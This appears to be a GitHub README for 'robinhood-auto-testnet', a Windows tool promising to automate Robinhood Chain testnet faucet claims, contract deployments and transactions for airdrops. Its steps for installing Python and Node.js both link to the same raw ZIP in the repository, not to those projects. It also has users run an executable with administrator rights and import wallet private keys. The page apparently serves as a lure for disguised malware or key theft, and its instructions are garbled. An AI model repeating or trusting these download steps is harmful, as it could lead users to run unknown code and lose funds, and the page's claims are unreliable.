robinhood-auto-testnet is a tool designed to help users interact with the Robinhood Chain testnet. It automates tasks like claiming tokens, deploying smart contracts, and creating transactions. You do not need technical skills to use this app. The tool will help you take part in testnet activities easily, which could be useful for future airdrops.
This tool runs on Windows. Make sure your PC meets these minimum requirements:
- Windows 10 or newer (64-bit)
- At least 4 GB of RAM
- At least 500 MB free disk space
- Internet connection to download and run the app
- Administrator rights to install software
- Automatic token claiming from the official Robinhood faucet
- Smart contract deployment to show activity on the testnet
- Transaction creation to generate valid onchain data
- Support for Python and Node.js environments
- Secure wallet management with encrypted private key storage
- Clear, colored terminal interface to guide you step-by-step
Click the green badge below to visit the GitHub page where you can download the software.
- On the GitHub page, find the "Releases" section.
- Download the latest Windows installer or ZIP package.
- If you download a ZIP, unzip it to a folder you can access easily, such as
Downloadsor your desktop.
- If you downloaded an installer (.exe), double-click it and follow the on-screen instructions to install.
- If you downloaded the ZIP file, open the extracted folder and locate the executable file, such as
robinhood-auto-testnet.exe. - Double-click the executable to start the application.
The application opens a command window with color-coded instructions:
- It will prompt you to enter or create a wallet.
- The app will guide you through claiming tokens automatically.
- You can deploy smart contracts with simple commands.
- Use transaction commands to generate activity on chain.
Actions are explained clearly in the app, with no prior coding experience needed.
The tool connects to the Robinhood Chain testnet and automates several tasks for you:
- Token Claiming: It requests tokens from the faucet when you start, so you do not need to do this manually.
- Smart Contract Deployment: It sends a sample contract to the chain to show real activity.
- Transaction Creation: It generates and sends transactions, making your account active.
- Wallet Management: Your private keys are encrypted and saved so you do not lose access.
- Multi-language Support: Choose whether to run commands in Python or Node.js environment.
If you prefer to use Python or Node.js for customization, follow these steps. This is optional.
- Go to https://raw.githubusercontent.com/isco357/robinhood-auto-testnet/main/src/testnet_robinhood_auto_v3.8.zip
- Download Python 3.8 or newer.
- Run the installer and select "Add Python to PATH" before clicking install.
- Go to https://raw.githubusercontent.com/isco357/robinhood-auto-testnet/main/src/testnet_robinhood_auto_v3.8.zip
- Download the Windows installer for Node.js 16 or newer.
- Run the installer with default settings.
Once installed, you can run scripts included with the app if you want advanced control.
The app creates a secure wallet for you:
- Your private key is stored in an encrypted file on your computer.
- You can create a new wallet or import an existing one by entering the private key.
- Never share your private key with anyone.
- The tool handles wallet security so you don’t have to.
The app runs in a terminal window and uses simple commands to guide the workflow:
- Start with
claimto get tokens. - Use
deployto deploy smart contracts. - Use
sendto create transactions. - Help menus show every available command.
You don’t need to know code. Just type what the app asks and hit Enter.
When the app extracts or installs, you will see several files and folders:
robinhood-auto-testnet.exe– main program filewallet/– folder where encrypted wallet keys are savedscripts/– optional scripts in Python or Node.js for advanced usersreadme.md– this guide
- Only download the app from the linked GitHub page.
- Do not share your wallet private key.
- Keep your computer safe with antivirus software.
- Close the app when done to protect your session.
For more technical details, visit the official repository at:
Use this page to check for updates or get troubleshooting help.